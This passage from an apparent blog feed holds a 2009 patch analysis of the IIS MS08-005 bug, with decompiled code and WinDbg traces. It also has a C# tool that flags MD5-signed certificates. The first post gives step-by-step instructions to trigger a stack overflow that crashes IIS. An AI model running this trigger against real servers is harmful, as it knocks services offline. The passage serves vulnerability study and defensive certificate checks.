style="color:navy;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v9&lt;/span&gt;&lt;span style="color:navy;"&gt;], &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName[1] + 1);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename &lt;/span&gt;&lt;span style="color:navy;"&gt;= &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v25&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Patched version:&lt;br /&gt;&lt;br /&gt;&lt;span style="background: white none repeat scroll 0% 50%; white-space: pre; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-family:FixedSys;color:blue;"  &gt;&lt;span style="color:navy;"&gt;  if ( &lt;/span&gt;_strchr&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;'~'&lt;/span&gt;&lt;span style="color:navy;"&gt;) )&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;ConvertToLongFileName&lt;span style="color:navy;"&gt;(*(&lt;/span&gt;&lt;span style="color:gray;"&gt;char **&lt;/span&gt;&lt;span style="color:navy;"&gt;)(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v3 &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 12), &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4&lt;/span&gt;&lt;span style="color:navy;"&gt;, &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;if ( !&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result &lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;br /&gt;return &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;_strrchr&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;'\\'&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;if ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v9 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4 &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 1;&lt;br /&gt;&lt;/span&gt;memcpy&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v24&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4 &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 1);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v10 &lt;/span&gt;&lt;span style="color:navy;"&gt;= 261 - &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v9&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;do&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v17 &lt;/span&gt;&lt;span style="color:navy;"&gt;= *&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8&lt;/span&gt;&lt;span style="color:navy;"&gt;++;&lt;br /&gt;while ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v17 &lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;if ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName[1] + 1 &lt; &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v10 &lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v11 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName;&lt;br /&gt;do&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v18 &lt;/span&gt;&lt;span style="color:navy;"&gt;= *&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v11&lt;/span&gt;&lt;span style="color:navy;"&gt;++;&lt;br /&gt;while ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v18 &lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v10 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v11 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName[1] + 1;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v3 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v22&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;&lt;/span&gt;memcpy&lt;span style="color:navy;"&gt;(&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v24&lt;/span&gt;&lt;span style="color:navy;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v9&lt;/span&gt;&lt;span style="color:navy;"&gt;], &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v10&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v25 &lt;/span&gt;&lt;span style="color:navy;"&gt;= 0;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v4 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v24&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Runtime analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At this point, a little bit of runtime analysis using &lt;a href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx"&gt;WinDbg&lt;/a&gt; could help us to get the whole picture.&lt;br /&gt;&lt;br /&gt;Being attached to the &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;inetinfo.exe&lt;/span&gt;&lt;/span&gt; process (where &lt;span style=";font-family:courier new;font-size:85%;"  &gt;infocomm.dll&lt;/span&gt; is loaded, according to Sysinternals &lt;a href="http://www.microsoft.com/technet/sysinternals/ProcessesAndThreads/Handle.mspx"&gt;handle&lt;/a&gt; utility), we set a breakpoint on &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;FileChanged()&lt;/span&gt;&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;0:016&gt; .reload /f&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Reloading current modules&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;...............................................................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0:016&gt; bp CVRootDirMonitorEntry::FileChanged&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0:016&gt; bl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0 e 71ba7ca0     0001 (0001)  0:**** INFOCOMM!CVRootDirMonitorEntry::FileChanged&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0:016&gt; g&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Given the name of the function under scrutiny, we suspect it will be called during file operations inside the Web root:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;echo "hello" &gt; c:\inetpub\wwwroot\test.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It worked! Moreover, we can confirm that the first argument passed to &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;FileChanged()&lt;/span&gt;&lt;/span&gt;, which is of type &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;char*&lt;/span&gt;&lt;/span&gt; according to debug symbols, is the filename.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Breakpoint 0 hit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;eax=00000000 ebx=00000008 ecx=00712430 edx=007238c4 esi=007238a8&lt;br /&gt;edi=007238a8&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; eip=71ba7ca0 esp=009cfed8 ebp=009cff0c&lt;br /&gt;iopl=0         nv up ei pl zr na pe nc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;INFOCOMM!CVRootDirMonitorEntry::FileChanged:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;71ba7ca0 8bff            mov     edi,edi&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0:004&gt; da poi(esp+4)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;009cfee4 "test.txt"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Summary of our findings&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Not everything makes sense for now, but we have gathered much interesting information during this preliminary analysis phase:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;CVRootDirMonitorEntry::FileChanged()&lt;/span&gt;&lt;/span&gt; does (possibly insecure) string manipulation.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;This function is called whenever a file under the Web root is "touched". The filename is passed as the first argument.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The offending code will be reached only if the filename contains the "~" character, &lt;span style="font-style: italic;"&gt;and&lt;/span&gt; the "\" character (thus being inside a subdirectory).&lt;/li&gt;&lt;li&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;ConvertToLongFileName()&lt;/span&gt; will be called in between on the filename.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;A bug, really ?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;At this point, we need to have a closer look at &lt;span style=";font-family:courier new;font-size:85%;"  &gt;ConvertToLongFileName()&lt;/span&gt; internals.&lt;br /&gt;&lt;br /&gt;According to debug symbols, the function prototype is:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;int __stdcall ConvertToLongFileName(char *, LPCSTR lpString2, LPWIN32_FIND_DATAA lpFindFileData)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Implementation of this function is trivial: it takes the filename as an argument and uses &lt;span style=";font-family:courier new;font-size:85%;"  &gt;FindFirstFileA() &lt;/span&gt;on it. The corresponding &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;WIN32_FIND_DATA&lt;/span&gt;&lt;/span&gt; structure is passed back to the caller for future use.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa364418%28VS.85%29.aspx"&gt;MSDN documentation&lt;/a&gt; relative to &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;FindFirstFile()&lt;/span&gt;&lt;/span&gt; is pretty straightforward. The &lt;a href="http://msdn.microsoft.com/en-us/library/aa365740%28VS.85%29.aspx"&gt;WIN32_FIND_DATA&lt;/a&gt; structure is more interesting:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;typedef struct _WIN32_FIND_DATA {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DWORD    dwFileAttributes;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FILETIME ftCreationTime;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FILETIME ftLastAccessTime;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FILETIME ftLastWriteTime;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DWORD    nFileSizeHigh;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DWORD    nFileSizeLow;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DWORD    dwReserved0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DWORD    dwReserved1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;TCHAR    cFileName[MAX_PATH];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;TCHAR    cAlternateFileName[14];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;br /&gt;WIN32_FIND_DATA,&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;*PWIN32_FIND_DATA,&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;*LPWIN32_FIND_DATA;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;The caller will copy &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;FindFileDate.cFileName&lt;/span&gt; into a fixed size buffer of 264 bytes. Since &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MAX_PATH&lt;/span&gt; has a value of 260 on Windows platform, this is probably &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;MAX_PATH+1&lt;/span&gt;&lt;/span&gt; aligned to a DWORD. Where is the trick ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Where Unicode comes into play&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The trick is called Unicode. Quoting &lt;a href="http://msdn.microsoft.com/en-us/library/aa365247.aspx"&gt;MSDN documentation&lt;/a&gt;:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;In the Windows API (with some exceptions discussed in the following paragraphs), the maximum length for a path is MAX_PATH, which is defined as 260 characters.&lt;br /&gt;(...)&lt;br /&gt;The Windows API has many functions that also have Unicode versions to permit an extended-length path for a maximum total path length of 32,767 characters.&lt;/blockquote&gt;What about &lt;a href="http://msdn.microsoft.com/en-us/library/aa363858%28VS.85%29.aspx"&gt;CreateFile&lt;/a&gt; ?&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;The Unicode versions of several functions permit a maximum path length of approximately 32,000 characters composed of components up to 255 characters in length.&lt;/blockquote&gt;Therefore, it is possible to build a very long Unicode path, as long as each path token is less than 255 characters long. There is a little quirk in &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;FindFirstFile()&lt;/span&gt;&lt;/span&gt; documentation here:  &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;cFileName&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;/span&gt; cannot be longer than &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;MAX_PATH&lt;/span&gt;&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;but&lt;/span&gt; the full path to this file can  go far beyond &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;MAX_PATH.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Do it yourself&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here are the steps to trigger the bug:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using the &lt;span style=";font-family:courier new;font-size:85%;"  &gt;mkdir&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt; command, create a directory inside &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\Inetpub\wwwroot&lt;/span&gt;&lt;/span&gt; with a long name (200 times 'A', for instance).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Using &lt;span style=";font-family:courier new;font-size:85%;"  &gt;CreateFile("\\?\C:\Inetpub\wwwroot\AAA...AAA\BBB...BBB")&lt;/span&gt;, create inside this directory a file with a long name (200 times 'B', for instance). This API call must be Unicode-style, because the resulting full path will be longer than &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;MAX_PATH&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Now access this file using its short name, as reported by the &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;dir /x&lt;/span&gt;&lt;/span&gt; command. In this example, this would be something like &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;echo toto &gt; bbbbbb~1&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Et voilà ! IIS should crash, because it expanded "aaa...aaa\bbbbbb~1" into "aaa...aaa" and "bbb...bbb" strings, that are thereafter concatenated into a stack-based buffer of size &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;MAX_PATH&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Since &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;infocomm.dll&lt;/span&gt;&lt;/span&gt; has been compiled with &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;/GS&lt;/span&gt;&lt;/span&gt; option, a stack cookie prevents direct exploitation of this bug. Exploitation on IIS 5 is left as an exercise to the reader ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That was a very nice bug to study (even if it ended up in a trivial stack overflow) because it requires good knowledge of Windows internals.&lt;br /&gt;&lt;br /&gt;As usual, it would be nice to know "how" this bug has been found by the original author. However, using Unicode filenames breaks so many applications out there that it could have been found by accident ;)&lt;br /&gt;&lt;br /&gt;PS. Happy New Year to all readers !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-3144140558585169589?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/3144140558585169589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=3144140558585169589' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/3144140558585169589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/3144140558585169589'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/01/lessons-learned-from-ms08-005.html' title='Lessons learned from MS08-005'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-1486912474208162959</id><published>2009-01-01T23:30:00.001+01:00</published><updated>2009-01-01T23:31:04.719+01:00</updated><title type='text'>Having fun with certificates</title><content type='html'>Unless you went on vacation without WiFi access, your iPhone and your BlackBerry, you certainly have heard of the latest "Internet is dead" issue.&lt;br /&gt;&lt;br /&gt;All details are available &lt;a href="http://www.win.tue.nl/hashclash/rogue-ca/"&gt;here&lt;/a&gt; and &lt;a href="http://www.phreedom.org/research/rogue-ca/"&gt;there&lt;/a&gt;. A comprehensive analysis is available on &lt;a href="http://broadcast.oreilly.com/2008/12/the-sky-is-not-falling-on-toda.html"&gt;O'Reilly&lt;/a&gt; blog. A summary is available on &lt;a href="http://isc.sans.org/diary.html?storyid=5590"&gt;ISC&lt;/a&gt; blog.&lt;br /&gt;&lt;br /&gt;Now this is where C# beauty comes into play. Here is a code snippet that will check from local certificate store(s) the signature algorithm used. Everything that is &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;sha1RSA&lt;/span&gt;&lt;/span&gt; is displayed, because it should be &lt;span style="font-style: italic;"&gt;bad&lt;/span&gt; (according to &lt;a href="http://blogs.technet.com/swi/archive/2008/12/30/information-regarding-md5-collisions-problem.aspx"&gt;Microsoft analysis&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;using System;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;using System.Security.Cryptography.X509Certificates;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;namespace SearchCerts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    class Program&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;        static void Main(string[] args)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;        {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            // *** select appropriate store below ***&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.My);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.AuthRoot);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.CertificateAuthority);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.Root);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.TrustedPeople);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            //var store = new X509Store(StoreName.TrustedPublisher);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            store.Open(OpenFlags.OpenExistingOnly | OpenFlags.ReadOnly);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            foreach (var cert in store.Certificates)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                if (cert.SignatureAlgorithm.FriendlyName != "sha1RSA")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                    System.Console.WriteLine("------------------------------");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                    System.Console.WriteLine("[FriendlyName]\t" + cert.FriendlyName);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                    System.Console.WriteLine("[Issuer]\t" + cert.Issuer);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                    System.Console.WriteLine("[Subject]\t" + cert.Subject);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                    System.Console.WriteLine("[Signature]\t" + cert.SignatureAlgorithm.FriendlyName);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;                }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            store.Close();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            System.Console.WriteLine("finished");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;            System.Console.ReadLine();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here are some results from &lt;span style="font-style: italic;"&gt;my&lt;/span&gt; certificate stores. Your mileage may vary.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://freephonie.org/portal.php"&gt;Freephonie&lt;/a&gt; PKI is using MD5. End-users cannot submit &lt;a href="http://en.wikipedia.org/wiki/Certificate_signing_request"&gt;CSR&lt;/a&gt;s by themselves, so the risk remains low. I'd be glad to know if the Freebox itself can send CSRs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        O=Free, L=Paris, S=France, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       CN=1234567, O=Free, L=Paris, S=France, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md5RSA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://igc.services.cnrs.fr/CNRS-Standard/"&gt;CNRS-Standard&lt;/a&gt; and &lt;a href="http://igc.services.cnrs.fr/CNRS-Plus/"&gt;CNRS-Plus&lt;/a&gt; PKI are using MD5. This is more concerning, because those are widely used authorities, and users can request certificates "at will".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        CN=CNRS, O=CNRS, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       CN=CNRS-Plus, O=CNRS, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md5RSA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]&lt;/span&gt;&lt;br 